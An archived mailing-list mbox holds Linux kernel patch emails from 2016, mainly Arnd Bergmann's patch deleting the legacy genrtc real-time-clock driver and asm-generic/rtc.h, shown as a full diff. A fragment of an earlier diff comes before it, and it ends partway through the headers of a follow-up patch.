-	rem = tod_data.tod_sec % SECS_PER_DAY;
-
-	wtime->tm_hour = rem / SECS_PER_HOUR;
-	rem %= SECS_PER_HOUR;
-	wtime->tm_min = rem / 60;
-	wtime->tm_sec = rem % 60;
-
-	y = 1970;
-
-#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
-#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
-
-	while (days < 0 || days >= (__isleap (y) ? 366 : 365))
-	{
-		/* Guess a corrected year, assuming 365 days per year.  */
-		long int yg = y + days / 365 - (days % 365 < 0);
-
-		/* Adjust DAYS and Y to match the guessed year.  */
-		days -= ((yg - y) * 365
-			 + LEAPS_THRU_END_OF (yg - 1)
-			 - LEAPS_THRU_END_OF (y - 1));
-		y = yg;
-	}
-	wtime->tm_year = y - 1900;
-
-	ip = __mon_yday[__isleap(y)];
-	for (y = 11; days < (long int) ip[y]; --y)
-		continue;
-	days -= ip[y];
-	wtime->tm_mon = y;
-	wtime->tm_mday = days + 1;
-
-	return RTC_24H;
-}
-
-static int set_rtc_time(struct rtc_time *wtime)
-{
-	u_int32_t secs;
-
-	secs = mktime(wtime->tm_year + 1900, wtime->tm_mon + 1, wtime->tm_mday, 
-		      wtime->tm_hour, wtime->tm_min, wtime->tm_sec);
-
-	if(pdc_tod_set(secs, 0) < 0)
-		return -1;
-	else
-		return 0;
-
-}
-
-static inline unsigned int get_rtc_ss(void)
-{
-	struct rtc_time h;
-
-	get_rtc_time(&h);
-	return h.tm_sec;
-}
-
-static inline int get_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-static inline int set_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}

From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 16/16] char/genrtc: remove the rest of the driver
Date: Thu, 28 Apr 2016 00:34:30 +0200
Lines: 673
Approved: news@gmane.org
Message-ID: <1461796470-1291527-17-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796712 25619 80.91.229.3 (27 Apr 2016 22:38:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:38:32 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-sh-owner@vger.kernel.org Thu Apr 28 00:38:29 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1avY6E-0005xA-4G
	for glps-linuxsh-dev@plane.gmane.org; Thu, 28 Apr 2016 00:38:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754110AbcD0WiH (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 27 Apr 2016 18:38:07 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.13]:58913 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752882AbcD0Wff (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Wed, 27 Apr 2016 18:35:35 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LwZRP-1blf0J0OZb-018N4Z; Thu, 28 Apr
 2016 00:34:56 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:dHP9x4uoBYLa53+4N2Azk+4jr2PNqXLr+fce/H1pglpsG1yWl+D
 q7boPy4yVzs44EVsP7em2FCKyuKoFnUyYE0B/+5bZT1X1Ig4YQqcVwqDtdoTtMVvpNPLC5W
 mOkfeK1g+O6Us1tJapZMRpIRGB/hHe+IWguoHRTM6lNya+mX3FLZ0ux4QTmW1YUCDZwbvqv
 IL7mGX1AaNLY1dc32nT1g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:066eKUiu8Ks=:N20LEC9PwH2IwPDc//9e8E
 GCAgmJ9+mm5Bcg9Ho819zIlQ1Mt2lOeDoRDO4uSJWQ3v3KMptJ6/6HvNHAWHee4zkDon+GrpZ
 BLtTdCp7L9f3a411osRu16q0D7llzkeyhMfzM73dLruUHxBf5AQ4VyoF4AX2LfIUgxS85/nRF
 HqSjVtK3fvkINqHOX/QejvfYo8e+/RCoNEZVJHAvxX8bPMFu4Wa8GeQ2ST0HCn/9qWS56GjgP
 g1FDQy0RNHUzppjH/rwnAP67vdHiQqziJKHfPIZFCb1d5b1qbvbyPq00RbB9Zw7ll5KRt8BIw
 BPARHiqNZUwBtCBszV4BpNlPsBNvDERPnJrtvVgaZCpF3UqtBP9SsmAQB4fUAYB3DY4IZnKr8
 l9MaZOkOTB0e8H/gd0LDamwyXHMOjjtvVaXWfnR3JvboR/F7FgxlbkO7lbkaDSIhgPezUhrYe
 NZq0l+M5LXRAfbqVwUqkWtOWjTLFcNdMD6jCsxpAycXjy1zlMvGdLv6aKJ+x+q0tGInVO5mOy
 W3QTG5f7+6lsGKjCBmjsJ85lxHCIs5boP2as8ot0r73DIaB3hdozgiwmVnC5f+4aQzlKqPFr/
 MiHzL0t903cF6SDihMAVvJM20WxqqWsutZHi8Kv9/UttRHegDX4p/U8AlSMRF87ZEjzQ8SIw+
 jg8vYbZHiqzDZSOtR0Jt7KCpMQkFfms55rZdQH7AeNtpxXM9dLOWhJ+LVvt1AwedEWdE=
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53874 gmane.linux.ports.alpha:3688 gmane.linux.kernel:2210023 gmane.linux.ports.parisc:26716 gmane.linux.ports.ppc64.devel:126519 gmane.linux.kernel.cross-arch:31800
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53874>

No architecture uses the genrtc driver any more, so let's kill it off
for good. This now also includes asm-generic/rtc.h, which is otherwise
completely unused.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/char/Kconfig      |  26 ---
 drivers/char/Makefile     |   1 -
 drivers/char/genrtc.c     | 539 ----------------------------------------------
 include/asm-generic/rtc.h |  51 -----
 4 files changed, 617 deletions(-)
 delete mode 100644 drivers/char/genrtc.c
 delete mode 100644 include/asm-generic/rtc.h

diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index a81f0eb9f71e..0d40fbd21c26 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -325,32 +325,6 @@ config JS_RTC
 	  To compile this driver as a module, choose M here: the
 	  module will be called js-rtc.
 
-config OLD_GEN_RTC
-	tristate "Generic /dev/rtc emulation"
-	depends on RTC!=y
-	depends on BROKEN
-	---help---
-	  If you say Y here and create a character special file /dev/rtc with
-	  major number 10 and minor number 135 using mknod ("man mknod"), you
-	  will get access to the real time clock (or hardware clock) built
-	  into your computer.
-
-	  It reports status information via the file /proc/driver/rtc and its
-	  behaviour is set by various ioctls on /dev/rtc. If you enable the
-	  "extended RTC operation" below it will also provide an emulation
-	  for RTC_UIE which is required by some programs and may improve
-	  precision in some cases.
-
-	  To compile this driver as a module, choose M here: the
-	  module will be called genrtc.
-
-config GEN_RTC_X
-	bool "Extended RTC operation"
-	depends on GEN_RTC
-	help
-	  Provides an emulation for RTC_UIE which is required by some programs
-	  and may improve precision of the generic RTC support in some cases.
-
 config EFI_RTC
 	bool "EFI Real Time Clock Services"
 	depends on IA64
diff --git a/drivers/char/Makefile b/drivers/char/Makefile
index fc0905aa7373..f33f5e35df9c 100644
--- a/drivers/char/Makefile
+++ b/drivers/char/Makefile
@@ -25,7 +25,6 @@ obj-$(CONFIG_APPLICOM)		+= applicom.o
 obj-$(CONFIG_SONYPI)		+= sonypi.o
 obj-$(CONFIG_RTC)		+= rtc.o
 obj-$(CONFIG_HPET)		+= hpet.o
-obj-$(CONFIG_OLD_GEN_RTC)	+= genrtc.o
 obj-$(CONFIG_EFI_RTC)		+= efirtc.o
 obj-$(CONFIG_DS1302)		+= ds1302.o
 obj-$(CONFIG_XILINX_HWICAP)	+= xilinx_hwicap/
diff --git a/drivers/char/genrtc.c b/drivers/char/genrtc.c
deleted file mode 100644
index 4f943759d376..000000000000
--- a/drivers/char/genrtc.c
+++ /dev/null
@@ -1,539 +0,0 @@
-/*
- *	Real Time Clock interface for
- *		- q40 and other m68k machines,
- *		- HP PARISC machines
- *		- PowerPC machines
- *      emulate some RTC irq capabilities in software
- *
- *      Copyright (C) 1999 Richard Zidlicky
- *
- *	based on Paul Gortmaker's rtc.c device and
- *           Sam Creasey Generic rtc driver
- *
- *	This driver allows use of the real time clock (built into
- *	nearly all computers) from user space. It exports the /dev/rtc
- *	interface supporting various ioctl() and also the /proc/driver/rtc
- *	pseudo-file for status information.
- *
- *	The ioctls can be used to set the interrupt behaviour where
- *	supported.
- *
- *	The /dev/rtc interface will block on reads until an interrupt
- *	has been received. If a RTC interrupt has already happened,
- *	it will output an unsigned long and then block. The output value
- *	contains the interrupt status in the low byte and the number of
- *	interrupts since the last read in the remaining high bytes. The
- *	/dev/rtc interface can also be used with the select(2) call.
- *
- *	This program is free software; you can redistribute it and/or
- *	modify it under the terms of the GNU General Public License
- *	as published by the Free Software Foundation; either version
- *	2 of the License, or (at your option) any later version.
- *
-
- *      1.01 fix for 2.3.X                    rz@linux-m68k.org
- *      1.02 merged with code from genrtc.c   rz@linux-m68k.org
- *      1.03 make it more portable            zippel@linux-m68k.org
- *      1.04 removed useless timer code       rz@linux-m68k.org
- *      1.05 portable RTC_UIE emulation       rz@linux-m68k.org
- *      1.06 set_rtc_time can return an error trini@kernel.crashing.org
- *      1.07 ported to HP PARISC (hppa)	      Helge Deller <deller@gmx.de>
- */
-
-#define RTC_VERSION	"1.07"
-
-#include <linux/module.h>
-#include <linux/sched.h>
-#include <linux/errno.h>
-#include <linux/miscdevice.h>
-#include <linux/fcntl.h>
-
-#include <linux/rtc.h>
-#include <linux/init.h>
-#include <linux/poll.h>
-#include <linux/proc_fs.h>
-#include <linux/seq_file.h>
-#include <linux/mutex.h>
-#include <linux/workqueue.h>
-
-#include <asm/uaccess.h>
-#include <asm/rtc.h>
-
-/*
- *	We sponge a minor off of the misc major. No need slurping
- *	up another valuable major dev number for this. If you add
- *	an ioctl, make sure you don't conflict with SPARC's RTC
- *	ioctls.
- */
-
-static DEFINE_MUTEX(gen_rtc_mutex);
-static DECLARE_WAIT_QUEUE_HEAD(gen_rtc_wait);
-
-/*
- *	Bits in gen_rtc_status.
- */
-
-#define RTC_IS_OPEN		0x01	/* means /dev/rtc is in use	*/
-
-static unsigned char gen_rtc_status;	/* bitmapped status byte.	*/
-static unsigned long gen_rtc_irq_data;	/* our output to the world	*/
-
-/* months start at 0 now */
-static unsigned char days_in_mo[] =
-{31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
-
-static int irq_active;
-
-#ifdef CONFIG_GEN_RTC_X
-static struct work_struct genrtc_task;
-static struct timer_list timer_task;
-
-static unsigned int oldsecs;
-static int lostint;
-static unsigned long tt_exp;
-
-static void gen_rtc_timer(unsigned long data);
-
-static volatile int stask_active;              /* schedule_work */
-static volatile int ttask_active;              /* timer_task */
-static int stop_rtc_timers;                    /* don't requeue tasks */
-static DEFINE_SPINLOCK(gen_rtc_lock);
-
-static void gen_rtc_interrupt(unsigned long arg);
-
-/*
- * Routine to poll RTC seconds field for change as often as possible,
- * after first RTC_UIE use timer to reduce polling
- */
-static void genrtc_troutine(struct work_struct *work)
-{
-	unsigned int tmp = get_rtc_ss();
-	
-	if (stop_rtc_timers) {
-		stask_active = 0;
-		return;
-	}
-
-	if (oldsecs != tmp){
-		oldsecs = tmp;
-
-		timer_task.function = gen_rtc_timer;
-		timer_task.expires = jiffies + HZ - (HZ/10);
-		tt_exp=timer_task.expires;
-		ttask_active=1;
-		stask_active=0;
-		add_timer(&timer_task);
-
-		gen_rtc_interrupt(0);
-	} else if (schedule_work(&genrtc_task) == 0)
-		stask_active = 0;
-}
-
-static void gen_rtc_timer(unsigned long data)
-{
-	lostint = get_rtc_ss() - oldsecs ;
-	if (lostint<0) 
-		lostint = 60 - lostint;
-	if (time_after(jiffies, tt_exp))
-		printk(KERN_INFO "genrtc: timer task delayed by %ld jiffies\n",
-		       jiffies-tt_exp);
-	ttask_active=0;
-	stask_active=1;
-	if ((schedule_work(&genrtc_task) == 0))
-		stask_active = 0;
-}
-
-/* 
- * call gen_rtc_interrupt function to signal an RTC_UIE,
- * arg is unused.
- * Could be invoked either from a real interrupt handler or
- * from some routine that periodically (eg 100HZ) monitors
- * whether RTC_SECS changed
- */
-static void gen_rtc_interrupt(unsigned long arg)
-{
-	/*  We store the status in the low byte and the number of
-	 *	interrupts received since the last read in the remainder
-	 *	of rtc_irq_data.  */
-
-	gen_rtc_irq_data += 0x100;
-	gen_rtc_irq_data &= ~0xff;
-	gen_rtc_irq_data |= RTC_UIE;
-
-	if (lostint){
-		printk("genrtc: system delaying clock ticks?\n");
-		/* increment count so that userspace knows something is wrong */
-		gen_rtc_irq_data += ((lostint-1)<<8);
-		lostint = 0;
-	}
-
-	wake_up_interruptible(&gen_rtc_wait);
-}
-
-/*
- *	Now all the various file operations that we export.
- */
-static ssize_t gen_rtc_read(struct file *file, char __user *buf,
-			size_t count, loff_t *ppos)
-{
-	unsigned long data;
-	ssize_t retval;
-
-	if (count != sizeof (unsigned int) && count != sizeof (unsigned long))
-		return -EINVAL;
-
-	if (file->f_flags & O_NONBLOCK && !gen_rtc_irq_data)
-		return -EAGAIN;
-
-	retval = wait_event_interruptible(gen_rtc_wait,
-			(data = xchg(&gen_rtc_irq_data, 0)));
-	if (retval)
-		goto out;
-
-	/* first test allows optimizer to nuke this case for 32-bit machines */
-	if (sizeof (int) != sizeof (long) && count == sizeof (unsigned int)) {
-		unsigned int uidata = data;
-		retval = put_user(uidata, (unsigned int __user *)buf) ?:
-			sizeof(unsigned int);
-	}
-	else {
-		retval = put_user(data, (unsigned long __user *)buf) ?:
-			sizeof(unsigned long);
-	}
-out:
-	return retval;
-}
-
-static unsigned int gen_rtc_poll(struct file *file,
-				 struct poll_table_struct *wait)
-{
-	poll_wait(file, &gen_rtc_wait, wait);
-	if (gen_rtc_irq_data != 0)
-		return POLLIN | POLLRDNORM;
-	return 0;
-}
-
-#endif
-
-/*
- * Used to disable/enable interrupts, only RTC_UIE supported
- * We also clear out any old irq data after an ioctl() that
- * meddles with the interrupt enable/disable bits.
- */
-
-static inline void gen_clear_rtc_irq_bit(unsigned char bit)
-{
-#ifdef CONFIG_GEN_RTC_X
-	stop_rtc_timers = 1;
-	if (ttask_active){
-		del_timer_sync(&timer_task);
-		ttask_active = 0;
-	}
-	while (stask_active)
-		schedule();
-
-	spin_lock(&gen_rtc_lock);
-	irq_active = 0;
-	spin_unlock(&gen_rtc_lock);
-#endif
-}
-
-static inline int gen_set_rtc_irq_bit(unsigned char bit)
-{
-#ifdef CONFIG_GEN_RTC_X
-	spin_lock(&gen_rtc_lock);
-	if ( !irq_active ) {
-		irq_active = 1;
-		stop_rtc_timers = 0;
-		lostint = 0;
-		INIT_WORK(&genrtc_task, genrtc_troutine);
-		oldsecs = get_rtc_ss();
-		init_timer(&timer_task);
-
-		stask_active = 1;
-		if (schedule_work(&genrtc_task) == 0){
-			stask_active = 0;
-		}
-	}
-	spin_unlock(&gen_rtc_lock);
-	gen_rtc_irq_data = 0;
-	return 0;
-#else
-	return -EINVAL;
-#endif
-}
-
-static int gen_rtc_ioctl(struct file *file,
-			 unsigned int cmd, unsigned long arg)
-{
-	struct rtc_time wtime;
-	struct rtc_pll_info pll;
-	void __user *argp = (void __user *)arg;
-
-	switch (cmd) {
-
-	case RTC_PLL_GET:
-	    if (get_rtc_pll(&pll))
-	 	    return -EINVAL;
-	    else
-		    return copy_to_user(argp, &pll, sizeof pll) ? -EFAULT : 0;
-
-	case RTC_PLL_SET:
-		if (!capable(CAP_SYS_TIME))
-			return -EACCES;
-		if (copy_from_user(&pll, argp, sizeof(pll)))
-			return -EFAULT;
-	    return set_rtc_pll(&pll);
-
-	case RTC_UIE_OFF:	/* disable ints from RTC updates.	*/
-		gen_clear_rtc_irq_bit(RTC_UIE);
-		return 0;
-
-	case RTC_UIE_ON:	/* enable ints for RTC updates.	*/
-	        return gen_set_rtc_irq_bit(RTC_UIE);
-
-	case RTC_RD_TIME:	/* Read the time/date from RTC	*/
-		/* this doesn't get week-day, who cares */
-		memset(&wtime, 0, sizeof(wtime));
-		get_rtc_time(&wtime);
-
-		return copy_to_user(argp, &wtime, sizeof(wtime)) ? -EFAULT : 0;
-
-	case RTC_SET_TIME:	/* Set the RTC */
-	    {
-		int year;
-		unsigned char leap_yr;
-
-		if (!capable(CAP_SYS_TIME))
-			return -EACCES;
-
-		if (copy_from_user(&wtime, argp, sizeof(wtime)))
-			return -EFAULT;
-
-		year = wtime.tm_year + 1900;
-		leap_yr = ((!(year % 4) && (year % 100)) ||
-			   !(year % 400));
-
-		if ((wtime.tm_mon < 0 || wtime.tm_mon > 11) || (wtime.tm_mday < 1))
-			return -EINVAL;
-
-		if (wtime.tm_mday < 0 || wtime.tm_mday >
-		    (days_in_mo[wtime.tm_mon] + ((wtime.tm_mon == 1) && leap_yr)))
-			return -EINVAL;
-
-		if (wtime.tm_hour < 0 || wtime.tm_hour >= 24 ||
-		    wtime.tm_min < 0 || wtime.tm_min >= 60 ||
-		    wtime.tm_sec < 0 || wtime.tm_sec >= 60)
-			return -EINVAL;
-
-		return set_rtc_time(&wtime);
-	    }
-	}
-
-	return -EINVAL;
-}
-
-static long gen_rtc_unlocked_ioctl(struct file *file, unsigned int cmd,
-				   unsigned long arg)
-{
-	int ret;
-
-	mutex_lock(&gen_rtc_mutex);
-	ret = gen_rtc_ioctl(file, cmd, arg);
-	mutex_unlock(&gen_rtc_mutex);
-
-	return ret;
-}
-
-/*
- *	We enforce only one user at a time here with the open/close.
- *	Also clear the previous interrupt data on an open, and clean
- *	up things on a close.
- */
-
-static int gen_rtc_open(struct inode *inode, struct file *file)
-{
-	mutex_lock(&gen_rtc_mutex);
-	if (gen_rtc_status & RTC_IS_OPEN) {
-		mutex_unlock(&gen_rtc_mutex);
-		return -EBUSY;
-	}
-
-	gen_rtc_status |= RTC_IS_OPEN;
-	gen_rtc_irq_data = 0;
-	irq_active = 0;
-	mutex_unlock(&gen_rtc_mutex);
-
-	return 0;
-}
-
-static int gen_rtc_release(struct inode *inode, struct file *file)
-{
-	/*
-	 * Turn off all interrupts once the device is no longer
-	 * in use and clear the data.
-	 */
-
-	gen_clear_rtc_irq_bit(RTC_PIE|RTC_AIE|RTC_UIE);
-
-	gen_rtc_status &= ~RTC_IS_OPEN;
-	return 0;
-}
-
-
-#ifdef CONFIG_PROC_FS
-
-/*
- *	Info exported via "/proc/driver/rtc".
- */
-
-static int gen_rtc_proc_show(struct seq_file *m, void *v)
-{
-	struct rtc_time tm;
-	unsigned int flags;
-	struct rtc_pll_info pll;
-
-	flags = get_rtc_time(&tm);
-
-	seq_printf(m,
-		     "rtc_time\t: %02d:%02d:%02d\n"
-		     "rtc_date\t: %04d-%02d-%02d\n"
-		     "rtc_epoch\t: %04u\n",
-		     tm.tm_hour, tm.tm_min, tm.tm_sec,
-		     tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, 1900);
-
-	tm.tm_hour = tm.tm_min = tm.tm_sec = 0;
-
-	seq_puts(m, "alarm\t\t: ");
-	if (tm.tm_hour <= 24)
-		seq_printf(m, "%02d:", tm.tm_hour);
-	else
-		seq_puts(m, "**:");
-
-	if (tm.tm_min <= 59)
-		seq_printf(m, "%02d:", tm.tm_min);
-	else
-		seq_puts(m, "**:");
-
-	if (tm.tm_sec <= 59)
-		seq_printf(m, "%02d\n", tm.tm_sec);
-	else
-		seq_puts(m, "**\n");
-
-	seq_printf(m,
-		     "DST_enable\t: %s\n"
-		     "BCD\t\t: %s\n"
-		     "24hr\t\t: %s\n"
-		     "square_wave\t: %s\n"
-		     "alarm_IRQ\t: %s\n"
-		     "update_IRQ\t: %s\n"
-		     "periodic_IRQ\t: %s\n"
-		     "periodic_freq\t: %ld\n"
-		     "batt_status\t: %s\n",
-		     (flags & RTC_DST_EN) ? "yes" : "no",
-		     (flags & RTC_DM_BINARY) ? "no" : "yes",
-		     (flags & RTC_24H) ? "yes" : "no",
-		     (flags & RTC_SQWE) ? "yes" : "no",
-		     (flags & RTC_AIE) ? "yes" : "no",
-		     irq_active ? "yes" : "no",
-		     (flags & RTC_PIE) ? "yes" : "no",
-		     0L /* freq */,
-		     (flags & RTC_BATT_BAD) ? "bad" : "okay");
-	if (!get_rtc_pll(&pll))
-	    seq_printf(m,
-			 "PLL adjustment\t: %d\n"
-			 "PLL max +ve adjustment\t: %d\n"
-			 "PLL max -ve adjustment\t: %d\n"
-			 "PLL +ve adjustment factor\t: %d\n"
-			 "PLL -ve adjustment factor\t: %d\n"
-			 "PLL frequency\t: %ld\n",
-			 pll.pll_value,
-			 pll.pll_max,
-			 pll.pll_min,
-			 pll.pll_posmult,
-			 pll.pll_negmult,
-			 pll.pll_clock);
-	return 0;
-}
-
-static int gen_rtc_proc_open(struct inode *inode, struct file *file)
-{
-	return single_open(file, gen_rtc_proc_show, NULL);
-}
-
-static const struct file_operations gen_rtc_proc_fops = {
-	.open		= gen_rtc_proc_open,
-	.read		= seq_read,
-	.llseek		= seq_lseek,
-	.release	= single_release,
-};
-
-static int __init gen_rtc_proc_init(void)
-{
-	struct proc_dir_entry *r;
-
-	r = proc_create("driver/rtc", 0, NULL, &gen_rtc_proc_fops);
-	if (!r)
-		return -ENOMEM;
-	return 0;
-}
-#else
-static inline int gen_rtc_proc_init(void) { return 0; }
-#endif /* CONFIG_PROC_FS */
-
-
-/*
- *	The various file operations we support.
- */
-
-static const struct file_operations gen_rtc_fops = {
-	.owner		= THIS_MODULE,
-#ifdef CONFIG_GEN_RTC_X
-	.read		= gen_rtc_read,
-	.poll		= gen_rtc_poll,
-#endif
-	.unlocked_ioctl	= gen_rtc_unlocked_ioctl,
-	.open		= gen_rtc_open,
-	.release	= gen_rtc_release,
-	.llseek		= noop_llseek,
-};
-
-static struct miscdevice rtc_gen_dev =
-{
-	.minor		= RTC_MINOR,
-	.name		= "rtc",
-	.fops		= &gen_rtc_fops,
-};
-
-static int __init rtc_generic_init(void)
-{
-	int retval;
-
-	printk(KERN_INFO "Generic RTC Driver v%s\n", RTC_VERSION);
-
-	retval = misc_register(&rtc_gen_dev);
-	if (retval < 0)
-		return retval;
-
-	retval = gen_rtc_proc_init();
-	if (retval) {
-		misc_deregister(&rtc_gen_dev);
-		return retval;
-	}
-
-	return 0;
-}
-
-static void __exit rtc_generic_exit(void)
-{
-	remove_proc_entry ("driver/rtc", NULL);
-	misc_deregister(&rtc_gen_dev);
-}
-
-
-module_init(rtc_generic_init);
-module_exit(rtc_generic_exit);
-
-MODULE_AUTHOR("Richard Zidlicky");
-MODULE_LICENSE("GPL");
-MODULE_ALIAS_MISCDEV(RTC_MINOR);
diff --git a/include/asm-generic/rtc.h b/include/asm-generic/rtc.h
deleted file mode 100644
index 4fcff22cd707..000000000000
--- a/include/asm-generic/rtc.h
+++ /dev/null
@@ -1,51 +0,0 @@
-/* 
- * include/asm-generic/rtc.h
- *
- * Author: Tom Rini <trini@mvista.com>
- *
- * Based on:
- * drivers/char/rtc.c
- *
- * Please read the COPYING file for all license details.
- */
-
-#ifndef __ASM_RTC_H__
-#define __ASM_RTC_H__
-
-#include <linux/rtc.h>
-
-#ifndef get_rtc_time
-#include <linux/mc146818rtc.h>
-#define get_rtc_time mc146818_get_time
-#define set_rtc_time mc146818_set_time
-#endif
-
-#define RTC_PIE 0x40		/* periodic interrupt enable */
-#define RTC_AIE 0x20		/* alarm interrupt enable */
-#define RTC_UIE 0x10		/* update-finished interrupt enable */
-
-/* some dummy definitions */
-#define RTC_BATT_BAD 0x100	/* battery bad */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-static inline unsigned int get_rtc_ss(void)
-{
-	struct rtc_time h;
-
-	get_rtc_time(&h);
-	return h.tm_sec;
-}
-
-static inline int get_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-static inline int set_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-
-#endif /* __ASM_RTC_H__ */
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 14/16] rtc: generic: remove get_rtc_time/set_rtc_time wrappers
Date: Thu, 28 Apr 2016 00:34:28 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <1461796470-1291527-15-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796849 27763 80.91.229.3 (27 Apr 2016 22:40:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:40:49 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-sh-owner@vger.kernel.org Thu Apr 28 00:40:43 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1avY8Q-0006ez-Mu
	for glps-linuxsh-dev@plane.gmane.org; Thu, 28 Apr 2016 00:40:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753826AbcD0Wkl (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 27 Apr 2016 18:40:41 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.73]:50122 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750777AbcD0Wki (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Wed, 27 Apr 2016 18:40:38 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LalbM-1bOExq3P5c-00kOo4; Thu, 28 Apr
 2016 00:34:55 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:mL1n6P1rOtKtUfy0ODQ8J+s1s2yeLsptxhD9i4ilbE9iKNce4b4
 9TVJ6iK/PU54MLXFnTjf57cSMxPde/rvm+Y6U1DTDj92OmYRyHORfa5vgDoLZES11ot/NHd
 5KKn9we3gq1sgzeHivOsydktD8OiaD+weO+9VZW4KINzpfb/i7k4zxJ/cJSyu2toYOf4kj0
 JQFu5S5tZMhEhvASC923A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:r5IBcqExddI=:GwoDvIMjp4UOV7hTO3Pre0
 /ulQhDkylqHhBrxGIbLwex7HGUpOOSkVwMYq1RGWysok60MD4NhAW0NyVs3PgDBH0zDSW+vVH
 JQUFOMl2WAbtofNoZBBvn9l6oJmKBXK6iKUVWydt0aBzmHNOOUGJSPaup6szAgNCpW2Td3t+7
